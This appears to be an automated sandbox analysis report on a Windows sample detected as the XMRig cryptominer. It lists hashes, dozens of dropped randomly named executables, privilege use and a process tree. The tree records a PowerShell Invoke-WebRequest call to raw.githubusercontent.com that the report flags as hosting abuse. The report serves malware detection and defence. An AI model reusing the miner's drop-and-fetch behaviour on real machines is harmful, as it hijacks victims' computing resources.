xmrig | cfe72bbffba78685a5570aed347f1d58f650cc7a9171e831545f53552f1a68ef

Analysis

max time kernel
46s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
25/05/2024, 10:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
Size

1.5MB
MD5

57bdc8905bd6e90bd28e1f1fc5f0c5e0
SHA1

787aa03ac0c229e8f641529492c6a9f305a66a2f
SHA256

cfe72bbffba78685a5570aed347f1d58f650cc7a9171e831545f53552f1a68ef
SHA512

c3bc1cdd8a1848272a3a461b2b2ce23e1d14d9732396ecbc164e6906c0f9f62c9c4d1615d54bf8752d060871d44cda9d8773fd49085dbc2e0da82e088ad8a90a
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjhnXwx8/2Pbx/mbjbaHtAcHN:Lz071uv4BPMkHC0IlnASEx/z+ct

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 38 IoCs

miner

resource	yara_rule
behavioral2/memory/3348-22-0x00007FF6DDBC0000-0x00007FF6DDFB2000-memory.dmp	xmrig
behavioral2/memory/1728-216-0x00007FF7AE840000-0x00007FF7AEC32000-memory.dmp	xmrig
behavioral2/memory/3980-221-0x00007FF637DE0000-0x00007FF6381D2000-memory.dmp	xmrig
behavioral2/memory/3156-226-0x00007FF6AB1D0000-0x00007FF6AB5C2000-memory.dmp	xmrig
behavioral2/memory/2804-235-0x00007FF77AB70000-0x00007FF77AF62000-memory.dmp	xmrig
behavioral2/memory/4116-234-0x00007FF7CB530000-0x00007FF7CB922000-memory.dmp	xmrig
behavioral2/memory/4924-233-0x00007FF7D44C0000-0x00007FF7D48B2000-memory.dmp	xmrig
behavioral2/memory/3136-232-0x00007FF6B7FE0000-0x00007FF6B83D2000-memory.dmp	xmrig
behavioral2/memory/4152-229-0x00007FF6B0B70000-0x00007FF6B0F62000-memory.dmp	xmrig
behavioral2/memory/3088-228-0x00007FF60FA50000-0x00007FF60FE42000-memory.dmp	xmrig
behavioral2/memory/1144-227-0x00007FF634F00000-0x00007FF6352F2000-memory.dmp	xmrig
behavioral2/memory/1624-225-0x00007FF72DE60000-0x00007FF72E252000-memory.dmp	xmrig
behavioral2/memory/3584-224-0x00007FF6EC6F0000-0x00007FF6ECAE2000-memory.dmp	xmrig
behavioral2/memory/2128-223-0x00007FF6F11B0000-0x00007FF6F15A2000-memory.dmp	xmrig
behavioral2/memory/1016-222-0x00007FF612570000-0x00007FF612962000-memory.dmp	xmrig
behavioral2/memory/2872-220-0x00007FF62D260000-0x00007FF62D652000-memory.dmp	xmrig
behavioral2/memory/3504-219-0x00007FF60F540000-0x00007FF60F932000-memory.dmp	xmrig
behavioral2/memory/4780-218-0x00007FF7DF980000-0x00007FF7DFD72000-memory.dmp	xmrig
behavioral2/memory/3060-217-0x00007FF76C060000-0x00007FF76C452000-memory.dmp	xmrig
behavioral2/memory/3832-201-0x00007FF617620000-0x00007FF617A12000-memory.dmp	xmrig
behavioral2/memory/5112-133-0x00007FF752F30000-0x00007FF753322000-memory.dmp	xmrig
behavioral2/memory/1616-108-0x00007FF6B2310000-0x00007FF6B2702000-memory.dmp	xmrig
behavioral2/memory/1616-1964-0x00007FF6B2310000-0x00007FF6B2702000-memory.dmp	xmrig
behavioral2/memory/3136-1966-0x00007FF6B7FE0000-0x00007FF6B83D2000-memory.dmp	xmrig
behavioral2/memory/4924-1969-0x00007FF7D44C0000-0x00007FF7D48B2000-memory.dmp	xmrig
behavioral2/memory/5112-1971-0x00007FF752F30000-0x00007FF753322000-memory.dmp	xmrig
behavioral2/memory/3832-1979-0x00007FF617620000-0x00007FF617A12000-memory.dmp	xmrig
behavioral2/memory/4116-2026-0x00007FF7CB530000-0x00007FF7CB922000-memory.dmp	xmrig
behavioral2/memory/1624-2172-0x00007FF72DE60000-0x00007FF72E252000-memory.dmp	xmrig
behavioral2/memory/1144-2307-0x00007FF634F00000-0x00007FF6352F2000-memory.dmp	xmrig
behavioral2/memory/3988-2298-0x00007FF6FCF90000-0x00007FF6FD382000-memory.dmp	xmrig
behavioral2/memory/4152-2232-0x00007FF6B0B70000-0x00007FF6B0F62000-memory.dmp	xmrig
behavioral2/memory/1016-2201-0x00007FF612570000-0x00007FF612962000-memory.dmp	xmrig
behavioral2/memory/3504-2133-0x00007FF60F540000-0x00007FF60F932000-memory.dmp	xmrig
behavioral2/memory/2872-2105-0x00007FF62D260000-0x00007FF62D652000-memory.dmp	xmrig
behavioral2/memory/3584-2063-0x00007FF6EC6F0000-0x00007FF6ECAE2000-memory.dmp	xmrig
behavioral2/memory/3980-2031-0x00007FF637DE0000-0x00007FF6381D2000-memory.dmp	xmrig
behavioral2/memory/3060-2069-0x00007FF76C060000-0x00007FF76C452000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	3288	powershell.exe
20	3288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3288	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1048	RVjOhep.exe
3348	WfLpkAe.exe
3136	bwaxaRi.exe
1616	DLdZOFe.exe
4924	twDGfvj.exe
5112	BqgISYU.exe
3832	Oqfdmnx.exe
1728	mCzVpwZ.exe
3060	qYyUsPB.exe
4780	QNVbOQD.exe
3504	XQBUzvz.exe
2872	FZBIdqN.exe
3980	ovKnXrn.exe
1016	MOnnrrw.exe
2128	BKdFsFH.exe
4116	HSVfTCh.exe
3584	kCJeEfV.exe
1624	btDaJBd.exe
3156	oaOKKto.exe
2804	fDPtSiW.exe
1144	KbBHQzM.exe
3088	eENLpiY.exe
4152	tWRAWVA.exe
3988	yGEEmEE.exe
2964	NMndSxb.exe
3400	QriqjpG.exe
4920	uztRyvN.exe
2340	kGHdbwR.exe
804	PyzKrWv.exe
3792	BPDHgbC.exe
232	ZnaMoWm.exe
3972	AeyddpC.exe
4420	PZjvJCg.exe
4428	xuRMCbv.exe
4464	JYbJmcw.exe
2192	wHuZRrL.exe
5024	dECoCfQ.exe
4804	HqvXSPp.exe
4980	sewIZKg.exe
4356	hDQPfJH.exe
1512	Mduaahz.exe
1912	wgbmNKg.exe
2916	WivGSkP.exe
2848	ZTheRhf.exe
1332	kXSOczb.exe
3480	SPPbrLf.exe
5040	LgvFeWW.exe
1548	vtEaNei.exe
976	JoYhuaQ.exe
2708	tjRacXu.exe
4324	qmOxwpm.exe
2116	OqcwaoB.exe
4880	wOZaKGE.exe
5108	jGHnTGy.exe
4328	KZWoTgn.exe
2120	IaRdAEh.exe
5136	BTjgJdk.exe
5168	wFqLNhO.exe
5200	xCrrMEM.exe
5216	QELRLXL.exe
5236	cCtdqvP.exe
5252	ASJaXVs.exe
5288	zDTGdGf.exe
5312	IiHspyY.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4516-0-0x00007FF71DF70000-0x00007FF71E362000-memory.dmp	upx
behavioral2/files/0x000f000000023249-5.dat	upx
behavioral2/memory/1048-16-0x00007FF67E2A0000-0x00007FF67E692000-memory.dmp	upx
behavioral2/files/0x000700000002325a-23.dat	upx
behavioral2/files/0x0007000000023259-24.dat	upx
behavioral2/memory/3348-22-0x00007FF6DDBC0000-0x00007FF6DDFB2000-memory.dmp	upx
behavioral2/files/0x000700000002325b-28.dat	upx
behavioral2/files/0x000800000002325e-47.dat	upx
behavioral2/files/0x0007000000023262-83.dat	upx
behavioral2/files/0x000700000002326d-126.dat	upx
behavioral2/files/0x0007000000023272-155.dat	upx
behavioral2/files/0x000700000002326c-183.dat	upx
behavioral2/memory/1728-216-0x00007FF7AE840000-0x00007FF7AEC32000-memory.dmp	upx
behavioral2/memory/3980-221-0x00007FF637DE0000-0x00007FF6381D2000-memory.dmp	upx
behavioral2/memory/3156-226-0x00007FF6AB1D0000-0x00007FF6AB5C2000-memory.dmp	upx
behavioral2/memory/2804-235-0x00007FF77AB70000-0x00007FF77AF62000-memory.dmp	upx
behavioral2/memory/4116-234-0x00007FF7CB530000-0x00007FF7CB922000-memory.dmp	upx
behavioral2/memory/4924-233-0x00007FF7D44C0000-0x00007FF7D48B2000-memory.dmp	upx
behavioral2/memory/3136-232-0x00007FF6B7FE0000-0x00007FF6B83D2000-memory.dmp	upx
behavioral2/memory/3988-230-0x00007FF6FCF90000-0x00007FF6FD382000-memory.dmp	upx
behavioral2/memory/4152-229-0x00007FF6B0B70000-0x00007FF6B0F62000-memory.dmp	upx
behavioral2/memory/3088-228-0x00007FF60FA50000-0x00007FF60FE42000-memory.dmp	upx
behavioral2/memory/1144-227-0x00007FF634F00000-0x00007FF6352F2000-memory.dmp	upx
behavioral2/memory/1624-225-0x00007FF72DE60000-0x00007FF72E252000-memory.dmp	upx
behavioral2/memory/3584-224-0x00007FF6EC6F0000-0x00007FF6ECAE2000-memory.dmp	upx
behavioral2/memory/2128-223-0x00007FF6F11B0000-0x00007FF6F15A2000-memory.dmp	upx
behavioral2/memory/1016-222-0x00007FF612570000-0x00007FF612962000-memory.dmp	upx
behavioral2/memory/2872-220-0x00007FF62D260000-0x00007FF62D652000-memory.dmp	upx
behavioral2/memory/3504-219-0x00007FF60F540000-0x00007FF60F932000-memory.dmp	upx
behavioral2/memory/4780-218-0x00007FF7DF980000-0x00007FF7DFD72000-memory.dmp	upx
behavioral2/memory/3060-217-0x00007FF76C060000-0x00007FF76C452000-memory.dmp	upx
behavioral2/files/0x0007000000023274-203.dat	upx
behavioral2/memory/3832-201-0x00007FF617620000-0x00007FF617A12000-memory.dmp	upx
behavioral2/files/0x000700000002327d-197.dat	upx
behavioral2/files/0x000700000002327c-196.dat	upx
behavioral2/files/0x000700000002327b-193.dat	upx
behavioral2/files/0x000700000002327a-190.dat	upx
behavioral2/files/0x0007000000023279-189.dat	upx
behavioral2/files/0x000700000002326b-179.dat	upx
behavioral2/files/0x0007000000023277-178.dat	upx
behavioral2/files/0x0007000000023276-176.dat	upx
behavioral2/files/0x000700000002326f-173.dat	upx
behavioral2/files/0x0007000000023275-172.dat	upx
behavioral2/files/0x0007000000023273-160.dat	upx
behavioral2/files/0x0007000000023268-151.dat	upx
behavioral2/files/0x000800000002325d-148.dat	upx
behavioral2/files/0x0007000000023271-144.dat	upx
behavioral2/files/0x0007000000023270-141.dat	upx
behavioral2/memory/5112-133-0x00007FF752F30000-0x00007FF753322000-memory.dmp	upx
behavioral2/files/0x000700000002326e-130.dat	upx
behavioral2/files/0x0007000000023267-149.dat	upx
behavioral2/files/0x000700000002326a-124.dat	upx
behavioral2/files/0x0007000000023264-119.dat	upx
behavioral2/files/0x0007000000023269-136.dat	upx
behavioral2/files/0x0007000000023266-109.dat	upx
behavioral2/memory/1616-108-0x00007FF6B2310000-0x00007FF6B2702000-memory.dmp	upx
behavioral2/files/0x0007000000023265-99.dat	upx
behavioral2/files/0x0007000000023263-114.dat	upx
behavioral2/files/0x0007000000023261-101.dat	upx
behavioral2/files/0x0008000000023256-94.dat	upx
behavioral2/files/0x0007000000023260-76.dat	upx
behavioral2/files/0x000700000002325c-57.dat	upx
behavioral2/files/0x000700000002325f-60.dat	upx
behavioral2/files/0x0008000000023258-14.dat	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\OqcwaoB.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\sDeedFs.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\SXHMLDB.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\efBMMZf.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ADhzcUP.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\SnrofhI.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\igNTKZf.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\nLHddLG.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\FoBdaTR.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\QriqjpG.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\wHuZRrL.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\SnUoasV.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\uVNRcKM.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\WIuQyOe.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\yGEEmEE.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\uztRyvN.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\yjljsWo.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\xldDWoO.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\iCZQImi.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\yAzLjvV.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ksErOrz.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\zPFLfmy.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\LZjeSyO.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\DLdZOFe.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ObJTbOL.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\vyYgckC.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\yCNHInf.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\DqVraaH.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\poTXCXV.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\yihrtCo.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\qUxwJPg.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\dEgBIfi.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\CTsczzT.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\Oqfdmnx.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\guobise.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ebvptoV.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\xWfgRhR.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\cDYQplT.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\xYqwBjx.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\aAlNxcq.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\savaIlS.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\umKeyEV.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\hWRlOnF.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\fCPEASt.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\OMpKPOu.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\REJfxoD.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\NDAGCTi.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\uVAUbuN.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\YmSHhjD.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\huGUENp.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\STwrDca.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\bGwBkQj.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\EOjxnpH.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\axhsuqN.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ljgOCPB.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\GZrELxG.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\SIAzxhD.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\DjJrpkl.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\bdJVgbo.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\pSPQtew.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\twDGfvj.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\qdbdTSf.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ZOmNSig.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
File created	C:\Windows\System\ilDOOgk.exe	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3288	powershell.exe
3288	powershell.exe
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeLockMemoryPrivilege	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4516 wrote to memory of 3288	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	91
PID 4516 wrote to memory of 3288	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	91
PID 4516 wrote to memory of 1048	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	92
PID 4516 wrote to memory of 1048	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	92
PID 4516 wrote to memory of 3348	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	93
PID 4516 wrote to memory of 3348	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	93
PID 4516 wrote to memory of 1616	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	94
PID 4516 wrote to memory of 1616	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	94
PID 4516 wrote to memory of 3136	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	95
PID 4516 wrote to memory of 3136	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	95
PID 4516 wrote to memory of 4924	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	96
PID 4516 wrote to memory of 4924	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	96
PID 4516 wrote to memory of 5112	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	97
PID 4516 wrote to memory of 5112	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	97
PID 4516 wrote to memory of 3832	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	98
PID 4516 wrote to memory of 3832	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	98
PID 4516 wrote to memory of 1728	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	99
PID 4516 wrote to memory of 1728	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	99
PID 4516 wrote to memory of 3060	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	100
PID 4516 wrote to memory of 3060	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	100
PID 4516 wrote to memory of 4780	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	101
PID 4516 wrote to memory of 4780	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	101
PID 4516 wrote to memory of 3504	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	102
PID 4516 wrote to memory of 3504	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	102
PID 4516 wrote to memory of 2872	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	103
PID 4516 wrote to memory of 2872	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	103
PID 4516 wrote to memory of 3980	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	104
PID 4516 wrote to memory of 3980	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	104
PID 4516 wrote to memory of 3584	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	105
PID 4516 wrote to memory of 3584	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	105
PID 4516 wrote to memory of 1016	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	106
PID 4516 wrote to memory of 1016	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	106
PID 4516 wrote to memory of 2128	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	107
PID 4516 wrote to memory of 2128	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	107
PID 4516 wrote to memory of 4116	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	108
PID 4516 wrote to memory of 4116	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	108
PID 4516 wrote to memory of 1624	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	109
PID 4516 wrote to memory of 1624	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	109
PID 4516 wrote to memory of 3156	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	110
PID 4516 wrote to memory of 3156	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	110
PID 4516 wrote to memory of 2804	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	111
PID 4516 wrote to memory of 2804	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	111
PID 4516 wrote to memory of 1144	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	112
PID 4516 wrote to memory of 1144	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	112
PID 4516 wrote to memory of 2340	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	113
PID 4516 wrote to memory of 2340	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	113
PID 4516 wrote to memory of 3088	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	114
PID 4516 wrote to memory of 3088	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	114
PID 4516 wrote to memory of 4152	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	115
PID 4516 wrote to memory of 4152	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	115
PID 4516 wrote to memory of 3988	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	116
PID 4516 wrote to memory of 3988	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	116
PID 4516 wrote to memory of 2964	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	117
PID 4516 wrote to memory of 2964	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	117
PID 4516 wrote to memory of 3400	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	118
PID 4516 wrote to memory of 3400	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	118
PID 4516 wrote to memory of 4920	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	119
PID 4516 wrote to memory of 4920	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	119
PID 4516 wrote to memory of 804	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	120
PID 4516 wrote to memory of 804	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	120
PID 4516 wrote to memory of 3792	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	121
PID 4516 wrote to memory of 3792	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	121
PID 4516 wrote to memory of 232	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	122
PID 4516 wrote to memory of 232	4516	57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe	122

C:\Users\Admin\AppData\Local\Temp\57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\57bdc8905bd6e90bd28e1f1fc5f0c5e0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3288
- C:\Windows\System\RVjOhep.exe
  C:\Windows\System\RVjOhep.exe
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Windows\System\WfLpkAe.exe
  C:\Windows\System\WfLpkAe.exe
  2⤵
  - Executes dropped EXE
  PID:3348
- C:\Windows\System\DLdZOFe.exe
  C:\Windows\System\DLdZOFe.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\bwaxaRi.exe
  C:\Windows\System\bwaxaRi.exe
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\System\twDGfvj.exe
  C:\Windows\System\twDGfvj.exe
  2⤵
  - Executes dropped EXE
  PID:4924
